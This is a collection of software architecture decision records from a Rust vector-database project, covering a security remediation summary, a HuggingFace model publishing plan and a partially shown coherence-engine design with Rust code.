|\n| URL Validation | ~1us | In-memory string parsing |\n| Integer Bounds Checking | <1ns | Inlined, branch predictor friendly |\n| NaN-Safe Comparisons | <1ns | Inlined, same instruction count |\n\n### Security Improvements\n\n| Before | After |\n|--------|-------|\n| Command injection via CLI | All CLI args validated against blocklist |\n| Memory DoS via large allocations | Checked arithmetic + allocation limits |\n| Shell injection in scripts | `set -euo pipefail` + input validation |\n| SSRF via arbitrary URLs | Domain allowlist enforcement |\n| Path traversal | Canonicalization + base path containment |\n| Integer overflow at FFI | Explicit checked conversions |\n| NaN logic bugs | NaN-aware comparison functions |\n\n---\n\n## Compliance and Audit\n\n### Verification Checklist\n\n- [x] All critical vulnerabilities have fixes with unit tests\n- [x] Shell scripts pass ShellCheck with no warnings\n- [x] Fuzzing completed for CLI validation (1M iterations)\n- [x] Property-based testing for path validation\n- [x] Security review sign-off from Ruvector Security Team\n- [x] Breaking changes documented in CHANGELOG\n\n### Testing Requirements\n\n| Test Type | Coverage Target | Actual | Status |\n|-----------|-----------------|--------|--------|\n| Unit Tests | 100% of fix code | 100% | Pass |\n| Integration Tests | Happy + error paths | 100% | Pass |\n| Fuzzing (CLI) | 1M iterations | 1M | No crashes |\n| ShellCheck | All scripts | All | 0 warnings |\n\n---\n\n## Related Decisions\n\n- **ADR-007**: Security Review & Technical Debt (initial audit)\n- **ADR-006**: Memory Management (allocation strategies)\n- **ADR-002**: RuvLLM Integration (API boundaries)\n\n---\n\n## References\n\n1. CWE-78: Improper Neutralization of Special Elements used in an OS Command\n2. CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n3. CWE-190: Integer Overflow or Wraparound\n4. CWE-682: Incorrect Calculation (NaN handling)\n5. OWASP Command Injection Prevention Cheat Sheet\n6. ShellCheck: https://www.shellcheck.net/\n7. Rust Security Guidelines: https://anssi-fr.github.io/rust-guide/\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-20 | Ruvector Security Team | Initial document |\n| 1.1 | 2026-01-20 | Security Review | All fixes implemented and verified |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-012-security-remediation.md", "created_at": "2026-03-28T11:58:48.873085+00:00", "content_hash": "951fb4917e825b226b340d5db8dc161a27b8ee9a51f1b009957825438ed1f93c"} +{"id": "65381370-055b-47ca-9c58-3ed5c48c6fcd", "source": "adr", "text": "# ADR-013: HuggingFace Model Publishing Strategy\n\n## Status\n**Accepted** - 2026-01-20\n\n## Context\n\nRuvLTRA models need to be distributed to users efficiently. HuggingFace Hub is the industry standard for model hosting with:\n- High-speed CDN for global distribution\n- Git-based versioning\n- Model cards for documentation\n- API for programmatic access\n- Integration with major ML frameworks\n\n## Decision\n\n### 1. Repository Structure\n\nAll models consolidated under a single HuggingFace repository:\n\n| Repository | Purpose | Models |\n|------------|---------|--------|\n| **`ruv/ruvltra`** | All RuvLTRA models | Claude Code, Small, Medium, Large |\n\n**URL**: https://huggingface.co/ruv/ruvltra\n\n### 2. File Naming Convention\n\n```\nruvltra-{size}-{quant}.gguf\n```\n\nExamples:\n- `ruvltra-0.5b-q4_k_m.gguf`\n- `ruvltra-3b-q8_0.gguf`\n- `ruvltra-claude-code-0.5b-q4_k_m.gguf`\n\n### 3. Authentication\n\nSupport multiple environment variable names for HuggingFace token:\n- `HF_TOKEN` (primary)\n- `HUGGING_FACE_HUB_TOKEN` (legacy)\n- `HUGGINGFACE_API_KEY` (common alternative)\n\n### 4. Upload Workflow\n\n```rust\n// Using ModelUploader\nlet uploader = ModelUploader::new(get_hf_token().unwrap());\nuploader.upload(\n \"./model.gguf\",\n \"ruv/ruvltra-small\",\n Some(metadata),\n)?;\n```\n\n### 5. Model Card Requirements\n\nEach repository must include:\n- YAML frontmatter with tags, license, language\n- Model description and capabilities\n- Hardware requirements table\n- Usage examples (Rust, Python, CLI)\n- Benchmark results (when available)\n- License information\n\n### 6. Versioning Strategy\n\n- Use HuggingFace's built-in Git versioning\n- Tag major releases (e.g., `v1.0.0`)\n- Maintain `main` branch for latest stable\n- Use branches for experimental variants\n\n## Consequences\n\n### Positive\n- **Accessibility**: Models available via standard HuggingFace APIs\n- **Discoverability**: Indexed in HuggingFace model search\n- **Versioning**: Full Git history for model evolution\n- **CDN**: Fast global downloads via Cloudflare\n- **Documentation**: Model cards provide user guidance\n\n### Negative\n- **Storage Costs**: Large models require HuggingFace Pro for private repos\n- **Dependency**: Reliance on external service availability\n- **Sync Complexity**: Must keep registry.rs in sync with HuggingFace\n\n### Mitigations\n- Use public repos (free unlimited storage)\n- Implement fallback to direct URL downloads\n- Automate registry updates via CI/CD\n\n## Implementation\n\n### Phase 1: Initial Publishing (Complete)\n- [x] Create consolidated `ruv/ruvltra` repository\n- [x] Upload Claude Code, Small, and Medium models\n- [x] Upload Q4_K_M quantized models\n- [x] Add comprehensive model card with badges, tutorials, architecture\n\n### Phase 2: Enhanced Distribution\n- [ ] Add Q8 quantization variants\n- [ ] Add FP16 variants for fine-tuning\n- [ ] Implement automated CI/CD publishing\n- [ ] Add SONA weight exports\n\n### Phase 3: Ecosystem Integration\n- [ ] Add to llama.cpp model zoo\n- [ ] Create Ollama modelfile\n- [ ] Publish to alternative registries (ModelScope)\n\n## References\n\n- HuggingFace Hub Documentation: https://huggingface.co/docs/hub\n- GGUF Format Specification: https://github.com/ggerganov/ggml/blob/master/docs/gguf.md\n- RuvLTRA Registry: `crates/ruvllm/src/hub/registry.rs`\n- Related Issue: #121", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-013-huggingface-publishing.md", "created_at": "2026-03-28T11:58:48.873230+00:00", "content_hash": "cda9d975563a1c62cbbbd20d6700704f6e4a3e6688ea4379657a5d0c3f014360"} +{"id": "0b7a8fd1-1d30-4130-9d12-28daf8ca453a", "source": "adr", "text": "# ADR-014: Coherence Engine Architecture\n\n**Status**: Proposed\n**Date**: 2026-01-22\n**Authors**: ruv.io, RuVector Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-01-22 | ruv.io | Initial architecture proposal |\n| 0.2 | 2026-01-22 | ruv.io | Full ruvector ecosystem integration |\n| 0.3 | 2026-01-22 | ruv.io | Universal coherence object, domain-agnostic interpretation, application roadmap |\n| 0.4 | 2026-01-22 | ruv.io | RuvLLM integration: coherence-gated LLM inference, witness-backed generation |\n\n---\n\n## Context\n\n### The Consistency Challenge\n\nMost AI systems rely on probabilistic confidence scores to gate actions and decisions. This approach has fundamental limitations:\n\n1. **Hallucination vulnerability** - LLMs can confidently produce incorrect outputs\n2. **Drift over time** - Systems degrade without structural consistency checks\n3. **Unauditable decisions** - Confidence scores don't provide provable witnesses\n4. **No structural guarantees** - Probability doesn't capture logical consistency\n\n### The Coherence Vision\n\n> \"Most systems try to get smarter by making better guesses. I am taking a different route. I want systems that stay stable under uncertainty by proving when the world still fits together and when it does not.\"\n\n**This is not prediction.** It is a continuously updated field of coherence that shows where action is safe and where action must stop.\n\nThe Coherence Engine treats consistency as a **measurable first-class property** using sheaf Laplacian mathematics to compute edge-level residuals and aggregate them into coherence energy scores.\n\n### The Universal Coherence Object\n\nThe power of this approach lies in a **single underlying coherence object** inside ruvector. Once the math is fixed, everything else becomes interpretation:\n\n| Domain | Nodes Are | Edges Are | Residual Becomes | Gate Becomes |\n|--------|-----------|-----------|------------------|--------------|\n| **AI Agents** | Facts, hypotheses, beliefs | Citations, logical implication | Contradiction energy | Hallucination refusal |\n| **Finance** | Trades, positions, signals | Market dependencies, arbitrage | Regime mismatch | Trading throttle |\n| **Medical** | Vitals, diagnoses, treatments | Physiological causality | Clinical disagreement | Escalation trigger |\n| **Robotics** | Sensor readings, goals, plans | Physics, kinematics | Motion impossibility | Safety stop |\n| **Security** | Identities, permissions, actions | Policy rules, trust chains | Authorization violation | Access denial |\n| **Science** | Hypotheses, observations, models | Experimental evidence | Theory inconsistency | Pruning signal |\n\nThis creates a **clean spectrum of applications without rewriting the core**.\n\n### Why Sheaf Laplacians?\n\nSheaf theory provides a rigorous mathematical framework for measuring local-to-global consistency:\n\n| Concept | Mathematical Definition | System Interpretation |\n|---------|------------------------|----------------------|\n| **Node** | Vertex v with state x_v | Entity with fixed-dimensional state vector (facts, trades, vitals, devices, hypotheses, beliefs) |\n| **Edge** | (u, v) connection | Constraint between entities (citations, causality, physiology, policy, physics) |\n| **Restriction Map** | \u03c1: F(U) \u2192 F(V) | How one state constrains another (lightweight linear transform) |\n| **Residual** | r_e = \u03c1_u(x_u) - \u03c1_v(x_v) | **Contradiction energy** - local mismatch at edge |\n| **Energy** | E(S) = \u03a3 w_e\\|r_e\\|\u00b2 | Global incoherence measure |\n| **Gate** | E < threshold | **Refusal mechanism with witness** |\n\n---\n\n## The Continuously Updated Field of Coherence\n\nThe coherence engine maintains a **continuously updated field** that shows:\n\n1. **Where action is safe** - Low energy regions where constraints are satisfied\n2. **Where action must stop** - High energy regions requiring escalation or refusal\n\nThis is fundamentally different from prediction:\n\n| Prediction-Based Systems | Coherence-Based Systems |\n|--------------------------|-------------------------|\n| \"What will happen?\" | \"Does the world still fit together?\" |\n| Probabilistic confidence | Mathematical consistency |\n| Can be confidently wrong | Knows when it doesn't know |\n| Degrades silently | Alerts on structural breakdown |\n| Trust the model | Trust the math |\n\n### System Summary\n\nThe coherence engine is built on ruvector and treats consistency as a first-class, measurable property:\n\n1. **State Modeling**: Typed graph where nodes carry fixed-dimensional vectors and edges encode constraints through lightweight restriction maps\n\n2. **Incremental Computation**: Incoherence computed incrementally as edge-level residuals and aggregated into scoped coherence energy using a sheaf Laplacian operator\n\n3. **Deterministic Gating**: A deterministic coherence gate controls a compute ladder. Most updates remain in a **low-latency reflex lane**, while sustained or growing incoherence triggers retrieval, deeper reasoning, or human escalation\n\n4. **Governance by Design**: All decisions and external side effects are governed by **signed policy bundles** and produce **mandatory witness and lineage records**, making every action auditable and replayable\n\n5. **Hybrid Storage**: PostgreSQL for transactional authority combined with ruvector for high-performance vector and graph queries\n\n6. **Adaptive Learning**: Deterministic replay, threshold autotuning from real traces, and persistent coherence tracking allow the system to adapt without losing control\n\n**The result is a universal inconsistency detector that scales from agent safety to autonomous systems and beyond.**\n\n---\n\n## Decision\n\n### Adopt Sheaf Laplacian-Based Coherence Witnessing\n\nWe implement `ruvector-coherence` as a structural consistency engine with the following architecture:\n\n```\n+-----------------------------------------------------------------------------+\n| APPLICATION LAYER |\n| LLM Guards | Fraud Detection | Compliance Proofs | Robotics Safety |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| COHERENCE GATE |\n| Lane 0 (Reflex) | Lane 1 (Retrieval) | Lane 2 (Heavy) | Lane 3 (Human) |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| COHERENCE COMPUTATION |\n| Residual Calculator | Energy Aggregator | Spectral Analyzer | Fingerprints |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| GOVERNANCE LAYER |\n| Policy Bundles | Witness Records | Lineage Records | Threshold Tuning |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| KNOWLEDGE SUBSTRATE |\n| Sheaf Graph | Node States | Edge Constraints | Restriction Maps |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| STORAGE LAYER |\n| PostgreSQL (Authority) | ruvector (Graph/Vector) | Event Log (Audit) |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Ruvector Ecosystem Integration\n\nThe coherence engine leverages the full ruvector crate ecosystem for maximum capability:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 COHERENCE ENGINE V2 ARCHITECTURE \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 COGNITUM-GATE-KERNEL (256 WASM TILES) \u2502 \u2502\n\u2502 \u2502 Each tile: Local graph shard + E-value accumulation + Witness fragments \u2502 \u2502\n\u2502 \u2502 Memory: ~64KB/tile | Throughput: 10K+ deltas/sec | Latency: <1ms/tick \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 HYPERBOLIC-HNSW \u2502 \u2502 GNN-LEARNED \u2502 \u2502 MINCUT \u2502 \u2502 ATTENTION \u2502 \u2502\n\u2502 \u2502 Hierarchy-aware \u2502 \u2502 RESTRICTION \u2502 \u2502 PARTITIONING \u2502 \u2502 WEIGHTING \u2502 \u2502\n\u2502 \u2502 Poincar\u00e9 energy \u2502 \u2502 MAPS (\u03c1) \u2502 \u2502 n^o(1) updates \u2502 \u2502 MoE/PDE/Topo \u2502 \u2502\n\u2502 \u2502 Depth scaling \u2502 \u2502 EWC training \u2502 \u2502 SNN integration \u2502 \u2502 Flash Attn \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 SONA: SELF-OPTIMIZING THRESHOLD TUNING \u2502 \u2502\n\u2502 \u2502 Micro-LoRA (instant, <0.05ms) + Base-LoRA (background) + EWC++ (no forget)\u2502\n\u2502 \u2502 ReasoningBank pattern extraction | Three learning loops coordinated \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 NERVOUS-SYSTEM: COHERENCE-GATED EXECUTION \u2502 \u2502\n\u2502 \u2502 CoherenceGatedSystem (EXISTS!) | GlobalWorkspace | Dendritic detection \u2502 \u2502\n\u2502 \u2502 HDC witnesses (10K-dim hypervectors) | Oscillatory routing | Plasticity \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RUVECTOR-RAFT: DISTRIBUTED CONSENSUS \u2502 \u2502\n\u2502 \u2502 Multi-node sheaf synchronization | Byzantine fault tolerance \u2502 \u2502\n\u2502 \u2502 Leader election for global energy aggregation | Log replication \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Crate Integration Matrix\n\n| Crate | Purpose in Coherence Engine | Key Types Used |\n|-------|----------------------------|----------------|\n| `cognitum-gate-kernel` | 256-tile WASM coherence fabric | `TileState`, `WitnessFragment`, `EvidenceAccumulator` |\n| `sona` | Self-optimizing threshold tuning | `SonaEngine`, `MicroLoRA`, `EwcPlusPlus`, `ReasoningBank` |\n| `ruvector-gnn` | Learned restriction maps | `RuvectorLayer`, `ElasticWeightConsolidation`, `ReplayBuffer` |\n| `ruvector-mincut` | Subgraph isolation | `SubpolynomialMinCut`, `CognitiveMinCutEngine`, `WitnessTree` |\n| `ruvector-hyperbolic-hnsw` | Hierarchy-aware energy | `HyperbolicHnsw`, `poincare_distance`, `ShardedHyperbolicHnsw` |\n| `ruvector-nervous-system` | Neural gating system | `CoherenceGatedSystem`, `GlobalWorkspace`, `HdcMemory`, `Dendrite` |\n| `ruvector-attention` | Attention-weighted residuals | `TopologyGatedAttention`, `MoEAttention`, `DiffusionAttention` |\n| `ruvector-raft` | Distributed consensus | `RaftConsensus`, `LogReplication` |\n| `ruvector-core` | Vector storage | `VectorDB`, `HnswConfig`, `DistanceMetric` |\n| `ruvector-graph` | Graph operations | `GraphStore`, `AdjacencyList` |\n| `ruvllm` | LLM inference with coherence | `RuvLLMEngine`, `CoherenceValidator`, `WitnessLog`, `ReasoningBank`, `AgenticMemory` |\n\n---\n\n## Key Components\n\n### 1. Sheaf Graph Structure (`sheaf/`)\n\nThe mathematical foundation modeling system state as constrained graphs.\n\n#### Node Definition\n\n```rust\n/// A node in the sheaf graph carrying a fixed-dimensional state vector\npub struct SheafNode {\n /// Unique node identifier\n pub id: NodeId,\n /// Fixed-dimensional state vector (stalks of the sheaf)\n pub state: Vec,\n /// Metadata for filtering and governance\n pub metadata: NodeMetadata,\n /// Timestamp of last state update\n pub updated_at: Timestamp,\n}\n```\n\n#### Edge with Restriction Map\n\n```rust\n/// An edge encoding a constraint between two nodes\npub struct SheafEdge {\n /// Source node\n pub source: NodeId,\n /// Target node\n pub target: NodeId,\n /// Weight for energy calculation\n pub weight: f32,\n /// Restriction map from source to shared space\n pub rho_source: RestrictionMap,\n /// Restriction map from target to shared space\n pub rho_target: RestrictionMap,\n}\n\n/// Linear restriction map: Ax + b\npub struct RestrictionMap {\n /// Linear transformation matrix\n pub matrix: Matrix,\n /// Bias vector\n pub bias: Vec,\n /// Output dimension\n pub output_dim: usize,\n}\n```\n\n#### Residual Calculation\n\n```rust\nimpl SheafEdge {\n /// Calculate the edge residual (local mismatch)\n pub fn residual(&self, source_state: &[f32], target_state: &[f32]) -> Vec {\n let projected_source = self.rho_source.apply(source_state);\n let projected_target = self.rho_target.apply(target_state);\n\n // r_e = \u03c1_u(x_u) - \u03c1_v(x_v)\n projected_source.iter()\n .zip(projected_target.iter())\n .map(|(a, b)| a - b)\n .collect()\n }\n\n /// Calculate weighted residual norm squared\n pub fn weighted_residual_energy(&self, source: &[f32], target: &[f32]) -> f32 {\n let r = self.residual(source, target);\n let norm_sq: f32 = r.iter().map(|x| x * x).sum();\n self.weight * norm_sq\n }\n}\n```\n\n### 2. Coherence Computation (`coherence/`)\n\nAggregates local residuals into global coherence metrics.\n\n#### Global Energy Function\n\n```rust\n/// Global coherence energy: E(S) = \u03a3 w_e|r_e|\u00b2\npub struct CoherenceEnergy {\n /// Total system energy (lower = more coherent)\n pub total_energy: f32,\n /// Per-edge energies for localization\n pub edge_energies: HashMap,\n /// Energy by scope/namespace\n pub scope_energies: HashMap,\n /// Computation timestamp\n pub computed_at: Timestamp,\n /// Fingerprint for change detection\n pub fingerprint: Hash,\n}\n\nimpl SheafGraph {\n /// Compute global coherence energy\n pub fn compute_energy(&self) -> CoherenceEnergy {\n let edge_energies: HashMap = self.edges\n .par_iter()\n .map(|(id, edge)| {\n let source_state = self.nodes.get(&edge.source).unwrap().state.as_slice();\n let target_state = self.nodes.get(&edge.target).unwrap().state.as_slice();\n (*id, edge.weighted_residual_energy(source_state, target_state))\n })\n .collect();\n\n let total_energy: f32 = edge_energies.values().sum();\n\n CoherenceEnergy {\n total_energy,\n edge_energies,\n scope_energies: self.aggregate_by_scope(&edge_energies),\n computed_at: Timestamp::now(),\n fingerprint: self.compute_fingerprint(),\n }\n }\n}\n```\n\n#### Incremental Computation (ADR-0002)\n\n```rust\n/// Incremental coherence update for efficiency\npub struct IncrementalCoherence {\n /// Stored per-edge residuals\n residuals: HashMap>,\n /// Subgraph energy summaries\n summaries: HashMap,\n /// Global fingerprint for staleness detection\n global_fingerprint: Hash,\n}\n\nimpl IncrementalCoherence {\n /// Update only affected edges when a node changes\n pub fn update_node(&mut self, graph: &SheafGraph, node_id: NodeId) -> CoherenceEnergy {\n // Find all edges incident to this node\n let affected_edges = graph.edges_incident_to(node_id);\n\n // Recompute only affected residuals\n for edge_id in affected_edges {\n let edge = graph.edges.get(&edge_id).unwrap();\n let source = graph.nodes.get(&edge.source).unwrap();\n let target = graph.nodes.get(&edge.target).unwrap();\n\n self.residuals.insert(edge_id, edge.residual(&source.state, &target.state));\n }\n\n // Update fingerprint and return\n self.recompute_energy(graph)\n }\n}\n```\n\n#### Spectral Analysis\n\n```rust\n/// Spectral coherence analysis for drift detection\npub struct SpectralAnalyzer {\n /// Eigenvalue history for drift detection\n eigenvalue_history: VecDeque>,\n /// Drift threshold\n drift_threshold: f32,\n}\n\nimpl SpectralAnalyzer {\n /// Detect spectral drift indicating structural change\n pub fn detect_drift(&mut self, laplacian: &SheafLaplacian) -> Option {\n let eigenvalues = laplacian.compute_eigenvalues(10); // Top 10\n\n if let Some(prev) = self.eigenvalue_history.back() {\n let drift = self.compute_spectral_distance(&eigenvalues, prev);\n\n if drift > self.drift_threshold {\n return Some(DriftEvent {\n magnitude: drift,\n affected_modes: self.identify_affected_modes(&eigenvalues, prev),\n timestamp: Timestamp::now(),\n });\n }\n }\n\n self.eigenvalue_history.push_back(eigenvalues);\n None\n }\n}\n```\n\n### 3. Coherence Gate (`gate/`)\n\nControls action execution based on coherence energy thresholds.\n\n> **Key Design Principle**: Most updates remain in a **low-latency reflex lane**, while **sustained or growing** incoherence triggers retrieval, deeper reasoning, or human escalation.\n\n#### Compute Ladder\n\nThe deterministic coherence gate sits on top of the substrate and controls a compute ladder:\n\n```rust\n/// Compute lanes for escalating complexity\n///\n/// CRITICAL: Most updates stay in Lane 0 (Reflex).\n/// Escalation only occurs on sustained/growing incoherence.\n#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]\npub enum ComputeLane {\n /// Lane 0: Local residual updates, simple aggregates (<1ms)\n /// THE DEFAULT - most updates stay here\n Reflex = 0,\n /// Lane 1: Evidence fetching, lightweight reasoning (~10ms)\n /// Triggered by: transient energy spike\n Retrieval = 1,\n /// Lane 2: Multi-step planning, spectral analysis (~100ms)\n /// Triggered by: sustained incoherence above threshold\n Heavy = 2,\n /// Lane 3: Human escalation for sustained incoherence\n /// Triggered by: persistent incoherence that automated systems cannot resolve\n Human = 3,\n}\n\n/// Gate evaluation result\npub struct GateDecision {\n /// Whether to allow the action\n pub allow: bool,\n /// Required compute lane\n pub lane: ComputeLane,\n /// Witness record for audit\n pub witness: WitnessRecord,\n /// Reason if denied\n pub denial_reason: Option,\n}\n```\n\n#### Threshold-Based Gating\n\n```rust\n/// Coherence gate with configurable thresholds\npub struct CoherenceGate {\n /// Energy threshold for Lane 0 (allow without additional checks)\n pub reflex_threshold: f32,\n /// Energy threshold for Lane 1 (require retrieval)\n pub retrieval_threshold: f32,\n /// Energy threshold for Lane 2 (require heavy compute)\n pub heavy_threshold: f32,\n /// Persistence duration before escalation\n pub persistence_window: Duration,\n /// Policy bundle reference\n pub policy_bundle: PolicyBundleRef,\n}\n\nimpl CoherenceGate {\n /// Evaluate whether an action should proceed\n pub fn evaluate(\n &self,\n action: &Action,\n energy: &CoherenceEnergy,\n history: &EnergyHistory,\n ) -> GateDecision {\n let current_energy = energy.scope_energy_for(&action.scope);\n\n // Determine required lane based on energy\n let lane = if current_energy < self.reflex_threshold {\n ComputeLane::Reflex\n } else if current_energy < self.retrieval_threshold {\n ComputeLane::Retrieval\n } else if current_energy < self.heavy_threshold {\n ComputeLane::Heavy\n } else {\n ComputeLane::Human\n 